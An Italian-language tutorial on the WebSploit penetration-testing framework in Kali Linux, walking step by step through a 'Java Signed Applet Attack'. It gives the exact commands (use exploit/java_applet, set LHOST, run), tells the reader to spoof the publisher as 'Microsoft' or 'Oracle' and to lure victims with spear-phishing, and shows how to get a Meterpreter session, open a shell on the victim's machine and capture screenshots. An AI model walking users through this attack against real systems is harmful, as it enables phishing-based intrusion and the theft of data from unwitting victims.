WebSploit è un framework Open Source in grado di effettuare individuare e sfruttare eventuali vulnerabilità presenti in un sistema remoto, attraverso una serie di exploit che possono essere caricati direttamente da Metasploit, con cui si integra alla perfezione. Il tool è liberamente scaricabile da SourceForge come archivio tar.gz, ma è già preinstallato in Kali Linux (o BackTrack).
Per i nostri test utilizzeremo la distribuzione Kali Linux, che rappresenta l'evoluzione di BackTrack e, in un certo senso, anche un punto di svolta architetturale rispetto al passato. Per lanciare WebSploit basta aprire una finestra di terminale e scrivere il comando:
root@kali:~#websploit
oppure dal Menu Applicazioni --> Kali Linux --> Applicazioni Web --> Scanner Vulnerabilità Web --> websploit.
Si aprirà la schermata iniziale mostrata in fig. 1 (img1.png), dalla quale è possibile lanciare ad esempio il comando show modules, che mostra appunto tutti i moduli disponibili e raggruppati per tipologia (Web Modules, Exploit Modules, etc.), come mostrato in figura . Ovviamente è possibile lanciare il comando help per visualizzare tutti i comandi disponibili.
Usare Websploit
A questo punto siamo pronti per sferrare il nostro primo attacco. Tra gli exploit disponibili c'è n'è uno, denominato exploit/java_applet, che può essere utilizzato per lanciare il cosiddetto "Java Signed Applet Attack". L'attacco consiste nella generazione di un web server che si pone in ascolto sulla macchina attacker, utilizzando la porta TCP 4444. Inducendo un utente inconsapevole a visitare il link pubblicato all'indirizzo IP dell'host attacker attraverso tecniche di social-engineering, una e-mail di spear phishing contenente il link "malevolo" o altro, nel browser dell'utente verrà visualizzato un avviso riguardo al fatto che la firma digitale dell'applicazione non può essere verificata e chiede di accettare per andare avanti.
L'avviso è una applet Java perfettamente uguale a quelle "legittime" che la quasi totalità degli utenti è ormai abituata a vedere e ad accettare automaticamente, senza neanche leggerne il contenuto, per cui la probabilità che l'attacco vada a buon fine è prossima al 100%. Ma entriamo nei dettagli.
Innanzitutto dobbiamo lanciare il comando per utilizzare l'exploit. La sintassi è molto simile a quella di Metasploit per cui il comando sarà:
wsf > use exploit/java_applet
Definiamo ora i parametri da impostare per il nostro attacco. Per farlo, digitiamo il comando show options dal nuovo prompt e otterremo una lista di opzioni, visibile in figura.
La prima cosa da fare sarebbe quella di impostare l'interfaccia di rete, ma poiché generalmente il valore di default è eth0, la cambieremo solo se stiamo utilizzando un'altra scheda di rete (es. eth1) oppure un'interfaccia wifi (tipicamente wlan0), per cui passiamo direttamente ad impostare il parametro LHOST, assegnandogli l'indirizzo IP della nostra macchina attaccante, che nel nostro caso è 10.100.244.81. Il comando è:
wsf:Java_Applet > set LHOST 10.100.244.81
A questo punto, per rendere ancora più credibile la nostra applet, possiamo cambiare il valore del campo Publisher utilizzando ad esempio la stringa "Microsoft" oppure "Oracle", come abbiamo fatto noi. Dopo aver impostato i parametri, non ci resta che lanciare l'exploit con il comando run e verrà generato il reverse handler all'URL http://10.100.244.81:4444, mentre l'URL da eseguire nel browser della vittima sarà http://10.100.244.81:8080/index, ove "index" è la pagina di default che verrà visualizzata e che - volendo - può anche essere cambiata: l'intero processo appena descritto è mostrato in figura.
Supponiamo ora che l'utente abbia aperto il suo browser e, indotto a visitare il nostro link, digiti l'indirizzo all'interno dell'URL. Andiamo dunque sull'host vittima e digitiamo l'IP del server attacker nel browser: otterremo una risposta come quella mostrata in figura.
In questo caso l'applet Java ci chiede se vogliamo eseguire o meno l'applicazione. Cliccando su "Esegui" (o "Run" se l'applet è in inglese), la frittata è fatta: tornando sulla shell da cui abbiamo lanciato l'attacco, possiamo osservare che l'exploit ha avuto successo, avendo creato una sessione di Meterpreter (l'interprete dei comandi evoluto di Metasploit), evidenziata in rosso in figura.
Nella stessa figura possiamo anche verificare che, digitando il comando sessions -l, la sessione appena generata viene listata tra quelle effettivamente attive (secondo riquadro in rosso). Dopo aver ottenuto una sessione, quindi, non ci resta che sfruttare le possibilità offerte da meterpreter. Lanciamo quindi il comando sessions -i 1 per interagire con la sessione, il cui Id è appunto 1, come si vede sempre nel secondo riquadro in rosso: noteremo che il prompt è cambiato in meterpreter > per cui possiamo ora eseguire qualsiasi comando tra i tanti che l'interprete mette a disposizione, come ad esempio aprire una shell sulla macchina vittima:
meterpreter > shell
Il risultato è visibile nel terzo riquadro della fig. 6 e mostra sia l'intestazione della shell ("Microsoft Windows XP...") che il nuovo prompt con il path ("C:ProgrammiMozilla Firefox>"). Ancora, uscendo dalla shell con il comando "exit", possiamo eseguire ad esempio il comando screenshot che effettua un printscreen del desktop della vittima e lo salva in /var/www/, come mostrato in figura.
Conclusioni
WebSploit è un tool veloce e facile da usare, dotato di un discreto numero di moduli, la maggior parte dei quali interagiscono direttamente con Metasploit, sfruttandone le enormi potenzialità. Essendo inoltre scritto in Python, consente ad uno sviluppatore di poter aggiungere o modificare i moduli (presenti in /usr/share/websploit/modules) a proprio piacimento, personalizzandoli.